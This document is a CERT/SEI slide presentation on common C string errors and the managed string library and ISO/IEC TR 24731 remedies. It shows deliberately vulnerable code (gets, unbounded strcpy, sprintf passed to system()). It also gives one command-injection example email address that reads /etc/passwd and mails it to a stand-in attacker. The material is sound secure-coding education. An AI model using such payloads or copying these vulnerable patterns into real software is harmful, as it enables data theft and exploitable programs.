Safer Strings in C: Using the Managed String Library

Robert C. Seacord

Software Engineering Institute

Agenda

Problem Statement

Common String Manipulation Errors

String Vulnerabilities

ISO/IEC 24731 “Security” TR

Managed Strings

Summary

Problem Statement

Many C language vulnerabilities are caused by weaknesses in C-style strings

- representation
- management
- manipulation

The C language needs standard string functions that are easy-to-use and resistant to misuse

Agenda

Problem Statement

Common String Manipulation Errors

String Vulnerabilities

ISO/IEC 24731 “Security” TR

Managed Strings

Summary

Common String Manipulation Errors

Programming with C-style strings, in C or C++, is error prone.

Common errors include

- Unbounded string copies
- Writing outside array bounds
- Null-termination errors
- String truncation
- Off-by-one errors
- Improper data sanitization

Unbounded String Copies

Occur when data is copied from a unbounded source to a fixed length character array

```
1. void main(void) {
2.   char Password[80];
3.   puts("Enter 8 character password:");
4.   gets(Password);
          ...
5. }
```

Copying and Concatenation

It is easy to have unbounded string copies when copying and concatenating strings because the standard `strcpy()` and `strcat()` functions are unbounded.

```
int main(int argc, char *argv[]) {
  char name[2048];
  strcpy(name, argv[1]);
  strcat(name, " = ");
  strcat(name, argv[2]);
        ...
}
```


Write Outside Array Bounds

```
int main(int argc, char *argv[]) {
  int i = 0;
  char buff[128];
  char *arg1 = argv[1];

  while (arg1[i] != '\0' ) {
    buff[i] = arg1[i];
    i++;
  }
  buff[i] = '\0';
  printf("buff = %s\n", buff);
}
```

Because C-style strings are character arrays, it is possible to perform an insecure string operation without invoking a function

Null-Termination Errors

Another common problem with C-style strings is a failure to properly null terminate

```
int main(int argc, char* argv[]) {
    char a[16];
    char b[16];
    char c[32];

    strncpy(a, "0123456789abcdef", sizeof(a));
    strncpy(b, "0123456789abcdef", sizeof(b));
    strncpy(c, a, sizeof(c));
}
```

Neither **a[]** nor **b[]** are properly terminated

From ISO/IEC 9899:1999

The **strncpy** function

```
char *strncpy(char * restrict s1,
        const char * restrict s2,
        size_t n);
```

copies not more than **n** characters (characters that follow a null character are not copied) from the array pointed to by **s2** to the array pointed to by **s1**.[260)]

260) Thus, if there is no null character in the first **n** characters of the array pointed to by **s2**, the result will not be null-terminated.

String Truncation

Functions that restrict the number of bytes are often recommended to mitigate against buffer overflow vulnerabilities

- `strncpy()` instead of `strcpy()`
- `fgets()` instead of `gets()`
- `snprintf()` instead of `sprintf()`

Strings that exceed the specified limits are truncated

Truncation results in a loss of data, and in some cases, to software vulnerabilities.

Off-by-One Errors

Can you find all the off-by-one errors in this program?

```
int main(int argc, char* argv[]) {
  char source[10];
  strcpy(source, "0123456789");
  char *dest = (char *)malloc(strlen(source));
  for (int i=1; i <= 11; i++) {
    dest[i] = source[i];
  }
  dest[i] = '\0';
  printf("dest = %s", dest);
}
```

Dangerous Character Sequences

Include characters that have an unintended or unanticipated result in a particular context.

Are dangerous because they can instruct a subsystem to perform an operation that violates a security policy

Depend on context (for example, a SQL database query vs. an URL)

Improper Data Sanitization

An application inputs an email address from a user and writes the address to a buffer [Viega 03]

```
sprintf(buffer,
   "/bin/mail %s < /tmp/email", addr
);

system(buffer);
```

The risk is, of course, that the user enters the following string as an email address:

```
bogus@addr.com; cat /etc/passwd  | mail some@badguy.net
```

[Viega 03] Viega, J., and M. Messier. *Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Networking, Input Validation & More*. Sebastopol, CA: O'Reilly, 2003.

Black Listing

Replaces dangerous characters in input strings with underscores or other harmless characters.

- requires the programmer to identify all dangerous characters and character combinations.
- may be difficult without having a detailed understanding of the program, process, library, or component being called.
- May be possible to encode or escape dangerous characters after successfully bypassing black list checking.

White Listing

Define a list of acceptable characters and remove any characters that are unacceptable

The list of valid input values is typically a predictable, well-defined set of manageable size.

White listing can be used to ensure that a string only contains characters that are considered safe by the programmer.

Agenda

Problem Statement

Common String Manipulation Errors

String Vulnerabilities

ISO/IEC 24731 “Security” TR

Managed Strings

Summary

Statically Allocated Buffers

Assumes a fixed size buffer

- Impossible to add data after buffer is filled
- Because the static approach discards excess data, actual program data can be lost.
- Consequently, the resulting string must be fully validated

ISO/IEC WD 24731 **`*_s()`** functions take this approach

ISO/IEC TR 24731 Safe Functions

Work by the international standardization working group for the programming language C (ISO/IEC JTC1 SC22 WG14)

ISO/IEC TR 24731 defines less error-prone versions of C standard functions

- **`strcpy_s()`** instead of **`strcpy()`**
- **`strcat_s()`** instead of **`strcat()`**
- **`strncpy_s()`** instead of **`strncpy()`**
- **`strncat_s()`** instead of **`strncat()`**

ISO/IEC TR 24731 Goals

Mitigate against

- Buffer overrun attacks
- Default protections associated with program-created file

Do not produce unterminated strings

Do not unexpectedly truncate strings

Preserve the null terminated string data type

Support compile-time checking

Make failures obvious

Have a uniform pattern for the function parameters and return type

The `strcpy_s()` Function

The **`strcpy_s()`** function, for example, has the following signature:

```
errno_t strcpy_s(
   char * restrict s1,
   rsize_t s1max,
   const char * restrict s2);
```

Similar to **`strcpy()`** but has an extra argument of type **`rsize_t`** that specifies the maximum length of the destination buffer.

CERT

`strcpy_s()` Example

```
int main(int argc, char* argv[]) {
      char a[16];
      char b[16];
      char c[24];
      strcpy_s(a, sizeof(a), "0123456789abcde");
      strcpy_s(b, sizeof(c), "0123456789abcde");
      strcpy_s(c, sizeof(c), a);
      strcat_s(c, sizeof(c), b);
}
```

Potential error leading to buffer overflow to reference size of buffer instead of remaining space

CERT

Constraint Handling

A runtime-constraint is a requirement on a program when calling a library function

Compiler runtimes must verify that the runtime-constraints for a library function are not violated by the program.

If a runtime-constraint is violated, the compiler runtime must call the currently registered runtime-constraint handler

set_constraint_handler_s()

Sets the function (handler) called when a library function detects a runtime-constraint violation to **`handler`**

```
constraint_handler_t
     set_constraint_handler_s(
       constraint_handler_t handler);
```

Only the most recent handler registered with **`set_constraint_handler_s()`** is called when a runtime-constraint violation occurs.

constraint_handler_t

When called, the handler is passed the following args in order:

1. A pointer to a character string describing the runtime-constraint violation.
2. A null pointer or a pointer to an implementation defined object.
3. If the function calling the handler has a return type declared as **errno_t**, the return value of the function is passed. Otherwise, a positive value of type **errno_t** is passed.

```
typedef void (*constraint_handler_t)(
        const char * restrict msg,
        void * restrict ptr,
        errno_t error);
```


Default Constraint Handler

A default constraint handler that is used if no calls to **set_constraint_handler_s()** have been made.

The behavior of the default handler is implementation-defined, and it may cause the program to exit or abort.

If the **handler** argument to **set_constraint_handler_s()** is a null pointer, the implementation default handler becomes the current constraint handler.

Pre-defined Constraint Handlers

`abort_handler_s()`

- writes a message on the standard error stream in an implementation-defined format
- calls **`abort()`**

`ignore_handler_s()` simply returns to its caller without writing to any stream

`strict_handler_s()`

- writes a message on the standard error stream in an implementation-defined format
- returns to caller

ISO/IEC TR 24731 Functions

Functions are still capable of overflowing a buffer if the maximum length of the destination buffer and number of characters to copy are incorrectly specified.

The ISO/IEC TR 24731 functions

- are not especially secure
- useful in
  - preventive maintenance
  - legacy system modernization

Agenda

Problem Statement

Common String Manipulation Errors

String Vulnerabilities

ISO/IEC 24731 “Security” TR

Managed Strings

Summary

Managed String Library Objectives

1. Eliminate common errors
   - buffer overflows
   - null-termination errors
   - truncation errors
   - “bad” characters
2. Succeed or fail (explicit error handling)
3. API familiar to C Programmers
4. Similar semantics to the standard C string functions.

Data Type

Managed strings use an abstract data type

```
typedef void *string_m;
```

The representation of this type is

- private
- implementation specific

CERT

Dynamically Allocated Buffers

Managed strings dynamically

- allocated buffers
- resize as additional memory is required

Managed string operations guarantee that

- strings operations cannot result in a buffer overflow
- data is not discarded
- user does not need to be concerned with string termination (strings may or may not be null terminated internally)

Disadvantages

- if inputs are not limited they can exhaust memory and consequently be used in denial-of-service attacks
- performance overhead
- memory management

CERT

Create and Retrieve String Example

```
errno_t retValue;
char *cstr;  // c style string
string_m str1 = NULL;

if (retValue = strcreate_m(&str1, "hello, world", 0, NULL)) {
  fprintf(stderr, "Error %d from strcreate_m.\n", retValue);
}
else { // print string
  if (retValue = getstr_m(&cstr, str1)) {
    fprintf(stderr, "error %d from getstr_m.\n", retValue);
  }
  printf("(%s)\n", cstr);
  free(cstr); // free duplicate string
}
```


The `strcreate_m()` Function

Managed strings are abstract data types that must be created and destroyed

```
errno_t strcreate_m(
 string_m *s,
  const char *cstr,
  const size_t maxsize,
  const char *charset);
```

s - address of new string

`cstr` - c style initialization string (NULL and `""` are valid)

`size_t` - specifies the maximum size the string can obtain. 0 means system default

`charset` - set of valid characters. NULL means all characters valid.

Size Matters

Manage strings grow as necessary

One issue is that an attacker can cause a denial-of-service attack by creating massive strings that exhaust memory

To prevent this, managed strings supports

- System defined maximum lengths
- User specified maximum string lengths

Any operation on a string that exceeds the maximum length will fail

Error Handling

Return status code is uniformly provided in the function return value

Prevents nesting of function calls but consequently programmers less likely to avoid status checking

Otherwise, the managed string library uses the same constraint handling mechanism as TR 24731

Failure to allocate memory, for example, is treated as a constraint violation.

NULL Strings and Empty Strings

Managed strings provides support for

- NULL strings
- empty "" strings

NULL String Example

```
retValue = strcreate_m(&str3, NULL, 0, NULL);
if (retValue = isnullstr_m(str2, &condition)) {
  printf("error %d.\n", retValue);
}
else {
  if (condition) {
    printf("NULL string.\n");
  }
}
```

Empty String Example

```
retValue =  strcreate_m(&str2, "", 0, NULL);
if (retValue = isemptystr_m(str2, &condition)) {
  printf("error %d.\n", retValue);
}
else {
  if (condition) {
    printf("empty string\n");
  }
}
```


CERT

Data Sanitization

The managed string library provides a mechanism for dealing with data sanitization

Ensures that all characters in a string belong to a predefined set of “safe” characters.

```
errno_t setcharset(const string_m s);
```


CERT

Data Sanitization Examples

```
sc = strcreate_m(&str1,
        "aaabbbcccabc", 0, "abc"));
```

```
sc = strcreate_m(&str2,
        "aaabbebcccabc", 0, "abc"));
```

```
sc = strcreate_m(&str3,
        "aadbbecabc", 0, "abcde"));
```

```
sc = strcat_m(str1, str3));
```


The `sprintf()` Function

Susceptible to format string vulnerabilities (e.g., user input such as **%n** allowed in format string)

Susceptible to buffer overflow:

```
char buff[512];
sprintf(buff, “Bad command: %s\n”, user);
```

Return Value

The **sprintf()** function can return -1 on error conditions such as an encoding error.

```
int i;
ssize_t count = 0;
for (i = 0; i < 9; ++i)
  count += sprintf(buf + count,
    "%02x ", ((u8 *)&slreg_num)[i]);
count += sprintf(buf + count, "\n");
```

In this case, the count variable, already at zero, can be decremented further leading to errors.

sprintf_m()

Destination and format strings are managed:

```
sc = strcreate_m(&format,"int = %d",0,NULL);
sc = sprintf_m(dest, format, 7);
```

String arguments are also managed:

```
sc = strcreate_m(&format,"str = %s",0,NULL);
sc = sprintf_m(dest, format, format);
```

The `sprintf_m()` Function

Eliminates buffer overflow by using managed strings.

Eliminates problems with return value by always returning status code

Mitigates format string vulnerabilities by eliminating **%n**

Agenda

Problem Statement

Common String Manipulation Errors

String Vulnerabilities

ISO/IEC 24731 “Security” TR

Managed Strings

Summary

Summary

The managed string library is based on a dynamic approach

Memory is allocated as required

- ensuring adequate space is available for the resulting string
- eliminating the possibility of
  - unbounded string copies
  - null-termination errors
  - truncation

Status

Source code for alpha release available. More information on the managed string library is available on CERT website at:

http://www.cert.org/secure-coding/

If you are interested in being an alpha tester please send mail to rcs@cert.org

Managed strings presented at 2005-09-25/28 Mont Tremblant, Canada meeting of ISO/IEC WG14 C language standardization working group meeting

- Modified proposal to be presented at upcoming Berlin, Germany meeting, 2006-03-27/31

For More Information

Visit the CERT® web site

http://www.cert.org/

Contact Presenter

Robert C. Seacord rcs@cert.org

Contact CERT Coordination Center

Software Engineering Institute
Carnegie Mellon University
4500 Fifth Avenue
Pittsburgh PA 15213-3890

Hotline**: 412-268-7090**

CERT/CC personnel answer 8:00 a.m. — 5:00 p.m. and are on call for emergencies during other hours.

Fax: **412-268-6989**

E-mail: cert@cert.org